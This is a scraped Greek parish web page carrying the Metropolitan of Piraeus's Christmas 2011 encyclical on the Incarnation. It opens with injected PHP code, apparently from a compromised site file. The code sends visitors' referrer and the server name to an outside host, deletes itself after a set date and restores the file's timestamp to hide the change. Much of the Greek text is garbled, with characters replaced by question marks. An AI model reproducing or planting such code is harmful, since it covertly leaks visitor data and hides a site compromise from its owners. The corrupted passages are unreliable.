check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456732960){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/content.php"); } Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Create PDF Recommend Print

Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Ποιμαντορική εγκύκλιος Χριστουγέννων 2011 του Μητροπολίτου Πειραιώς & Φαλήρου

ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ

ΠΟΙΜΑΝΤΟΡΙΚΗ ΕΓΚΥΚΛΙΟΣ ΧΡΙΣΤΟΥΓΕΝΝΩΝ 2011

ΤΟΥ ΜΗΤΡΟΠΟΛΙΤΟΥ ΠΕΙΡΑΙΩΣ, ΦΑΛΗΡΟΥ, ΔΡΑΠΕΤΣΩΝΑΣ

ΚΑΙ ΑΓΙΟΥ ΙΩΑΝΝΟΥ ΡΕΝΤΗ

ΣΕΡΑΦΕΙΜ

ΠΡΟΣ ΤΟΝ ΙΕΡΟΝ ΚΛΗΡΟΝ ΚΑΙ ΤΟ ΦΙΛΟΧΡΙΣΤΟΝ ΠΛΗΡΩΜΑ ΤΗΣ ΜΗΤΡΟΠΟΛΙΤΙΚΗΣ ΠΕΡΙΦΕΡΕΙΑΣ ΑΥΤΟΥ

 

Τ?κνα μου ?γαπητ? κα? περιπ?θητα,

?πί τ? ?ορτ? τ?ν Χριστουγέννων κατ' ?τος καλούμεθα, ?πως σκεφθ?μεν βαθύτερον τήν σημασίαν το? γεγονότος τ?ς ?νσαρκώσεως το? Λόγου. Το?το ε?ναι ?παραίτητον, διότι συνήθως παραμένομεν ε?ς τήν στενήν ?ντίληψιν περί α?τ?ς, δηλαδή ε?ς τήν σωτηριολογικήν. Πράγματι ? Λόγος ?νηνθρώπισε διά νά σώση τούς πιστεύοντας ε?ς Α?τόν τόν Χριστόν Κυρίου ?νθρώπους. ? ?ντίληψις α?τή ε?ναι ? πρωταρχικ? κα? ? ?μέσως μετά το? γεγονότος τ?ς ?νσαρκώσεως συνδεδεμένη, ?ταν μάλιστα θεωρ?ται ?ν ?πολύτ? συναφεί? μετ? το? Σταυρο? κα? τ?ς Αναστάσεως.

Πέραν τ?ς ?ννοίας α?τ?ς ?μως, ? μ?λλον ?κτός το? ?ποτελέσματος τούτου, τ?ς σωτηρίας δηλαδή τ?ν πιστευόντων ε?ς Χριστόν, ?πάρχει μία ε?ρυτέρα ?ννοια ?ναποσπάστως συνδεδεμένη μετ? τ?ς στενωτέρας α?τ?ς. ?ννοο?μεν τήν ?πίδρασιν της ?νσαρκώσεως ?φ' ?λοκλήρου της ?στορίας καί τ?ς ?ξελίξεως α?τ?ς καθώς καί τ?ς συμβολ?ς της ε?ς τήν πρόοδον το? πολιτισμο?. Διά τ?ς στεν?ς μόνον ?ντιλήψεως τ?ς ?νσαρκώσεως παραγνωρίζεται συνήθως τό γεγονός ?τι ? ?νσάρκωσις ?πιφέρει ριζικήν ?λλαγήν τ?ς ?νοράσεως το? κόσμου ?πό το? ?νθρώπου καί παίζει βασικόν ρόλον ε?ς τήν σύμφωνον πρός τήν ?νόρασιν ταύτην συνολικήν καί ?τομικήν προσπάθειαν ?λων κα? τήν δρ?σιν των ε?ς ?λους τούς τομε?ς τ?ς κοινωνικ?ς, ?πιστημονικ?ς καί ο?κονομικ?ς ζω?ς.

? ?νσάρκωσις κατά κύριον λόγον καταφάσκει τήν σωματικήν ?πόστασιν το? ?νθρώπου καί μέσω α?τ?ς τήν ?λικήν σύστασιν το? κόσμου. Τό σ?μα δέν ε?ναι πλέον τό δεσμωτήριον τ?ς ψυχ?ς, τό κατώτερον ?λικόν ?ν τ? ?ποί? ?μφωλεύουν τά ?νστικτα καί α? ?ντιστρατευόμεναι τό πνε?μα ?ρμαί. Α?τό ε?ναι τό σ?μα διά τόν «ψυχικόν ?νθρωπον». Διά τόν πνευματικόν ?μως ο? «σάρκα φρονο?ντες» πρέπει νά γίνουν ?λοκληρωμέναι ?πάρξεις, ε?ς ?να ?διάσπαστον σύνολον, ψυχήν καί σ?μα. ?ν ?ψει τ?ς ?νσαρκώσεως καλούμεθα πάντες ο? πνευματικοί ?νθρωποι νά γίνωμε καί ?ληθ?ς σωματικοί, νά μή διχάζωμε δηλαδή τήν ?πόστασίν μας ε?ς δυό ?ντιτιθεμένους μεταξύ των κόσμους. Τό σ?μα ε?ναι ? ?κφρασις τ?ς α?θεντικ?ς ?ποστάσεως ?νός ?λοκληρωμένου προσώπου. Μέσω α?το? ? πνευματικός ?νθρωπος ?ρχεται ε?ς σχέσιν, ?γκαθιδρύει κοινωνίαν μετά τ?ν ?λλων, δημιουργε?, κινε? καί κινε?ται, ζ? τό πνε?μα καί τήν ?πόστασίν του.

? ?νσάρκωσις, δι? το?το συνεκλόνισε τήν ?ντίληψιν, ?τι ε?ς τό σ?μα ?δρεύουν δυνάμεις ?ντιμαχομεναι τήν ψυχήν καί τό πνε?μα. Μέσω δέ τ?ς καταρρίψεως τ?ν πανάρχαιων α?τ?ν ?ντιλήψεων περί δαιμονικο? στοιχείου κυριεύοντος ? ?μφωλεύοντος ε?ς τήν σάρκα ?π?λθεν ? μεγαλύτερα ε?ρηνική ?πανάστασις, βραδέως ?λλ' ?σφαλ?ς, ?σον ?φορ? ε?ς τήν ?νόρασιν τ?ς ?λης γενικ?ς. ? φύσις δέν θεωρε?ται πλέον ?ς τό βασίλειον μεταφυσικ?ν δαιμονικ?ν δυνάμεων. Α? ποικιλόμορφοι δεισιδαιμονίαι κυρίως θρησκευτικαί, ?ξηφανίσθησαν καί ? ?λική φύσις παρεδόθη ?λίγον κατ' ?λίγον ε?ς τάς χε?ρας το? ?ρευνητο? ?νθρώπου χάριν τ?ς περαιτέρω μέσ? α?τ?ς προόδου. ?πως θ? προοδεύση πλέον ? χειρουργική ε?ς τήν ?ατρικήν κα? θά ?γχειρίζηται τό σ?μα ?νευ ο?δεμι?ς προκαταλήψεως, ο?τω καί ? ?λη τ?ς φύσεως θά ?ρευν?ται ?ς ? πηγή ζωτικότητος καί δυνάμεως πρός περαιτέρω πρόοδον. ?πως ? ψυχή θά ?ποτελέση ?να ?διάσπαστον σύνολον μι?ς διακεκριμένης προσωπικότητος μετά το? σώματος, ο?τω καί ? φύσις θ? ?ποτελέση ?να ?λον μετά τ?ς ?στορίας, πνευματικ?ς καί ?λικ?ς, τ?ς μι?ς Δημιουργίας, ?φ' ?σον ? Κτίστης α?τ?ς μετέχει καί τ?ν δύο, μεταλαμβάνει κα? ?ν τ? α?τοταπεινώσει Του ?λων τ?ν στοιχείων α?τ?ς καί ?λοκληρώνει τά πάντα ?ν τ? ?νότητι το? προσώπου το? ?νσαρκωθέντος Λόγου Του.

?πομένως ?δ? ε?ρίσκονται α? ?ρχαί τ?ς ?θήσεως πρός τήν τωρινήν πρόοδον καί ?ρθ?ς α?τή ?θεωρήθη ?πό φιλοσόφων καί ?πιστημόνων ?ς ?διανόητος ?νευ τ?ς Χριστιανικ?ς πίστεως, δηλαδή ?νευ το? γεγονότος τ?ς ?νσαρκώσεως. Βεβαίως, προϋπ?ρχεν α?το? καί γν?σις καί Τέχνη καί Φιλοσοφία. ?λλ' α?ταί παρέμειναν ?ψηλαί θεωρίαι χωρίς ν? γίνωνται καί ?στορική πραγματικότης. ? ?νσάρκωσις ?μως ?θησε τήν ?στορίαν ?ς βαθυτάτη πνευματικ? κινητήριος δύναμις ε?ς τήν περίοδον τ?ς ?φαρμογ?ς ε?ς τάς ?πιστήμας τ?ς φύσεως. ? ?ντίθεσις πλέον δέν παρουσιάζεται μεταξύ ?λης καί πνεύματος, φύσεως καί ?στορίας, ?λλά τ?ν παρεχομένων δυνατοτήτων ?πό τ?ς φύσεως καί τ?ς μεταξύ προσωπικ?ς ε?θύνης το? ?νθρώπου ?νώπιον του. Α?τή προκαλε? καί ?μψυχώνει πλέον μ? ?κρον ρεαλισμόν κάθε συνειδητήν ?νέργειαν το? ?τόμου ?ς μέρους το? συνόλου καί ?πιφέρει ?πανάστασιν καί κίνησιν καί πρόοδον ε?ς ?λα τά πεδία δράσεως του, ?ς πνευματικοσωματικ?ς ?ποστάσεως, μέσω τ?ς ?λης τ?ς φύσεως κα? τ?ν γεγονότων τ?ς ?στορίας. Τά πάντα ?πί τ? βάσει τ?ς ?νσαρκώσεως προσφέρονται καί γίνονται δι' ?να ?ρισμένον, ?νώτερον σκοπόν, το? ?ποίου ? ?νθρωπος ε?ς τό φ?ς τ?ς ?νσαρκώσεως? καλε?ται νά γίνη φορεύς, δυναμικ?ς συνεργάτης το? Δημιουργο? καί ?νσαρκωθέντος ?ντός τ?ς ?στορίας Λόγου.

 

Κατ' α?τόν τόν τρόπον καί ? ?στορία δ?ν νοε?ται πλέον ?ς ? χρονική διάστασις το? παρελθόντος ? ? ?ξιστόρησις α?τ?ς? ?λλ? ? πραγματικότης τ?ς ?λικ?ς κα? πνευματικ?ς ?ποστάσεως τ?ς δημιουργίας κινούμενης πρ?ς τά πρόσω, μέσω πάλης καί ?γ?νος καί μέσω τ?ς ?νεργείας το? ?νθρώπου το? ?ξονος πλέον κα? κέντρου τ?ς ?νεργείας α?τ?ς. ? ?νσάρκωσις κρημνίζει τήν ?ρχαίαν ?ρεμον «κλασικήν» κυκλικ?ν ?ντίληψιν περί ?στορίας ?ς ?ενάως α?το - ?παναλαμβανόμενης. ? ?νσάρκωσις στρέφει τήν προσπάθειαν το? ?νθρωπου, ?ς ?τόμου καί ?ς συνόλου, δυναμικ?ς πρ?ς τό μέλλον, πρ?ς ?να συνεχ?ς ?νώτερον ?πίπεδον προόδου. Το?το ?πιτυγχάνεται μέσω ριζικ?ν καί ραγδαίων μεταβολ?ν καί ?νατροπ?ν το? παρελθόντος, ?λλ' ?ν συνεχεί? μετ' α?το?. ? ?νσάρκωσις καταδεικνύει ?τι ? ?νάμνησις το? ?στορικο? γεγονότος της γίνεται προφητεία διά τήν δρ?σιν ε?ς τό παρόν καί τό μέλλον. ? ?στορία ?ς παρελθόν προηγε?ται προεκτεινομένη ε?ς τό μέλλον ?ς ? σκοπός τ?ς ?λης ?στορικ?ς ?ξελίξεως : «?ν α?τ? ?κτισται τά πάντα». Τό παρελθόν μέσω τ?ς ε?ρυτέρας ?ννοίας τ?ς ?νσαρκωσεώς μ?ς μεταδίδεται ε?ς τό παρόν ?ς κινητήριος δύναμις ε?ς ?λους τούς τομε?ς τ?ς ζω?ς διά τό μέλλον. Κάθε ?νθρωπος γίνεται προφήτης ?νεργείας ε?ς τό μέλλον, ?ραματιζόμενος ?μως τό παρελθόν. ?τσι ? ?νσάρκωσις πληρο? δυναμικ?ς ?λπίδος ?λους τούς ?νθρώπους ?νεξαιρέτως. Δυναμικ? ?λπις ?μως σημαίνει τήν ?λπίδα πού δέν πληρο?ται ποτέ, ? καλύτερον, πληρουμένη δημιουργε? νέαν ?λπίδα, διότι ? ?νσαρκωθείς Λόγος ε?ναι ? λόγος τ?ς ?λπίδος, ? ?πο?ος ε?ναι καί τό τέλος, δηλαδ? ? σκοπ?ς της, ?πως θά ?ποκαλυφθ? ε?ς τό τέλος τ?ς ?στορίας. Μέχρι τότε ? ?στορία μετά τήν ?νσάρκωσιν θά βαδίζη μέσω ?ντιθέσεων καί ?γ?νος πρός τό τέλος της.

? ?νσάρκωσις ?πομένως ?νώνει τό ?νθρώπινον γένος ε?ς μίαν ?πό κοινο? προσπάθειαν ?πί τ? βάσει ?ν?ς γεγονότος τ?ς ?στορίας. Πέριξ α?το? διά πρώτην φοράν συγκεντρο?ται ? ?νθρωπότης. ? ?ννοια τ?ς ?νσαρκώσεως «δι? μόνους τούς πιστεύοντας» καίτοι ?ρθή, ?ν τούτοις ε?ναι ?λλειπτική. Διότι ? ?νσάρκωσις γίνεται μέν ε?ς ?να ?στορικ?ν τόπον, ε?ς ?να συγκεκριμένον πρόσωπον, τ?ν ?ησο? Χριστόν, τ?ν Σωτ?ρα το? κόσμου, τόν μόνον ?ληθ? Μεσσίαν, ?λλά συγχρόνως ?ναλαμβάνεται ?λόκληρος ? ?νθρωπίνη φύσις ?π? το? Λόγου ? Υ?ο? το? Ζ?ντος Θεο?. ??ν λείψη τό δεύτερον στοιχε?ον, τότε ? ?νσάρκωσις α?τ? ?χει χάσει τόν ?νώτερον σκοπ?ν τ?ς ?πάρξεώς της, δηλαδ? τήν παγκόσμιον σημασίαν καί τήν πραγματικότητά της.

? ?νσαρκωθείς Λόγος ? Υ?ός το? Θεο? ?πανασυνιστ? τήν ?πικοινωνίαν Δημιουργο? καί ?λης τ?ς δημιουργίας Του. Τά πάντα συμπεριλαμβάνονται ε?ς τήν ?νσάρκωσιν. Καί ?ταν ? Γραφ? ?ναφέρει τήν λέξιν «τά πάντα» ε?ναι σαφές, διατί γίνεται α?τή ? σχολαστική ?πανάληψις.

? ?νσάρκωσις δ?ν ?φορ? μόνον ε?ς τά χριστιανικ? ?θνη ?λλ' ε?ς «τά πάντα». ? Χριστός διά νά γίνη πραγματικότης ?ς ?δικός μας, πρέπει νά θεωρ?ται ?ς ?νσαρκωθείς καί ?νήκων περισσότερον ε?ς το?ς ?λλους ?κείνους ο? ?ποίοι ?μφανίζονται ?ς μή ?χοντες σχέσιν μετ' α?το?. ?ναμοχλεύει ? Κύριος διά τ?ς ?νσαρκώσεως τήν ?στορίαν καί δίδει περιεχόμενον ε?ς α?τήν καί σκοπόν. ?λαι α? θρησκε?αι, ?λοι ο? πόθοι δηλαδή το? ?νθρώπου νά ?ννοήση καί πλησίαση τόν Θεόν ?λοκληρο?νται ε?ς τήν ?νσάρκωσιν το? Λόγου μέσω τ?ς ?πιθυμίας το? Θεο? νά πλησιάση τώρα Α?τός τά πάντα καί τούς πάντας. Καί ?πό τ?ς ?ρας ?κείνης ? ?μμονή σέ ?ποια ?λλη θρησκευτική θεώρησι ε?ναι ?ποστασία καί ?γκλημα.

Βλέπομεν λοιπόν, ?τι ? ?νσάρκωσις δέν ε?ναι ?πλ?ς ?να ?στορικόν γεγονός το? παρελθόντος ?λλά ? δύναμις ?λοκλήρου τ?ς πραγματικότητος τ?ς ?στορίας πρός τά πρόσω προοδευούσης. Τά πάντα ?νεμοχλεύθησαν μέσω α?τ?ς. Βεβαίως ?χι διά μι?ς. ? Θε?ς δέν ?νεργε? ποτέ «μαγικήν» πρόοδον, ?λλά δημιουργε? τάς προϋποθέσεις διά νέαν μακράν καί ?πίπονον προσπάθειαν το? ?νθρωπου. Ε?ναι βραδυφλεγ?ς ? ?νέργεια τ?ς ?νσαρκωσεως, ?ντός τ?ς ?στορίας. ?ταν ζ? κανείς σήμερον τήν συνεχ? μεταλλαγήν το? τεχνολογικο? πολιτισμο? καί τ?ν κοινωνι?ν καί τ?ς καταπληκτικ?ς δυναμικότητος το? ?νθρώπου προκαλο?ντος τήν μεταλλαγήν α?τήν, πρέπει νά θεώρηση τό γεγονός τ?ς ?νσαρκώσεως ε?ς τήν παγκόσμιον του ?κτασιν. Δυστυχ?ς, ? ?ντίληψίς μας περί «Θρησκευτικ?ν» γεγονότων ε?ναι τόσον ε?ρηνική καί «φιλήσυχος» ?στε καί τό «?πί γ?ς ε?ρήνη» παρηρμηνεύθη ?στορικ?ς. ? ?ποκλειστικ? ?ντίληψις τ?ς σωτηρίας ?ς διδομένης ε?ς ?καστον διά τ?ς ?φέσεως τ?ν ?μαρτι?ν, μ?ς ?πεστέρησε τ?ς δυναμικ?ς ?νοράσεως τ?ς «Ε?ρήνης» μεταβαλλούσης ?κτοτε τήν ?στορίαν ?λόκληρον. ? ε?ρήνη α?τή πρέπει νά θεωρ?ται συγχρόνως μετ? τ?ν λόγων το? Χριστο? «Ο?κ ?λθον βαλε?ν ε?ρήνην ?λλά μάχαιραν» (Μάτθ. 10,34) καί ?χι μόνον ε?ς τούς πιστούς διά τ?ς α?σθήσεως τ?ς ?μαρτωλότητος των. Το?το ε?ναι πιετιστικ? (ε?σεβιστική) ?ντίληψις. Ο?τε ?ς ?ντίθεσις πνεύματος καί ?λης. Το?το ε?ναι ?δεαλισμ?ς καί ρωμαντισμός. ? μάχαιρα ?δ? ε?ναι ? κόπτουσα καί διακόπτουσα τήν ?ρεμον συνέχειαν τ?ς ?στορίας ?ν τ? ?ποί? ? ?νθρωπος ?ζη κα? ζ? ?μέριμνος διά κάτι ?νώτερον καί δι? ?λον τόν Κόσμον. ? ?νσάρκωσις ε?ναι ?κρηξις ?νεργείας ?ντός τ?ς ?στορίας· ε?ναι φωτιά πού δοκιμάζει, καίει, θερμαίνει, ?ναζωπυρε?, ?παναστατε?, διαμορφώνει ?προσδοκήτως, μεταβάλλει ταχέως τά πάντα. «Π?ρ ?λθον βαλε?ν ε?ς τήν γ?ν? καί τί θέλω ε? ?δη ?νήφθη». (Λούκ. 12, 49). ? ?νσάρκωσις μ?ς ?πενθυμίζει α?τό τό πρώτον «?ναμμα», τό ?πο?ον ?ναμορφώνει τώρα ?λόκληρον τήν ?στορικήν πραγματικότητα καί τήν στρέφει πρός τό μέλλον.

Παρ' ?λας τάς παρεξηγήσεις, παραλείψεις καί παραβλέψεις τ?ν πιστευόντων ε?ς τήν ?νσάρκωσιν, ?ν τούτοις α?τή συνεχ?ς ?νεργε? τό ?ρα?ον το?το ?παναστατικόν ?ργον της ε?ς τήν ?στορίαν. ?πως ?στορικ?ς δέν ?πάρχει καμμιά πραγματική κοινωνική ?λλαγή ? πραγματικά προοδευτική γραμμή ε?ς τά γράμματα, τάς ?πιστήμας, καί τήν διαμόρφωσιν τ?ς παγκοσμίας συνειδήσεως ?τι ?νήκομεν πάντες ε?ς μίαν ο?κογένειαν ?νευ φυλετικ?ν καί ?θνικ?ν διακρίσεων, ?νευ ?μεσου ? ?μμέσου ?ναφορ?ς ε?ς τό γεγονός τ?ς ?νσαρκώσεως, ?τσι θά συνεχισθ? ? ?πίδρασις α?τή καί ε?ς τό μέλλον ?σφαλ?ς ε?ς ?ξύτερον βαθμόν καί ?σως μέσω ?ξυτέρων ?ντιθέσεων καί στιγμιαίων παραδοξοτήτων καί παροδικ?ς ?ξαλλότητος πρός ?παρτισμόν τ?ς μι?ς ποίμνης. Το?το δέν ε?ναι προφητεία μέλλοντος ?λλ' ε?ναι ?νάμνησις παρελθόντος ?ν τ? δυναμικ? ?ξελίξει της ?ς προεκτεινομένη ε?ς τό μέλλον. Διότι ? ?νσάρκωσις το? Λόγου ?πήρξεν καί θά παραμείν? ?ξων τ?ς ?στορικ?ς πραγματικότητος διά πάντα.

 

Χριστός ?τέχθη!?ληθ?ς ?τέχθη!

Ο ΜΗΤΡΟΠΟΛΙΤΗΣ ΣΑΣ

+ ? Πειραι?ς ΣΕΡΑΦΕΙΜ

 

Παντρεύεστε;

apokatastash steghs

Βαπτίζετε το παιδί σας;

Γίνεσται ανάδοχος;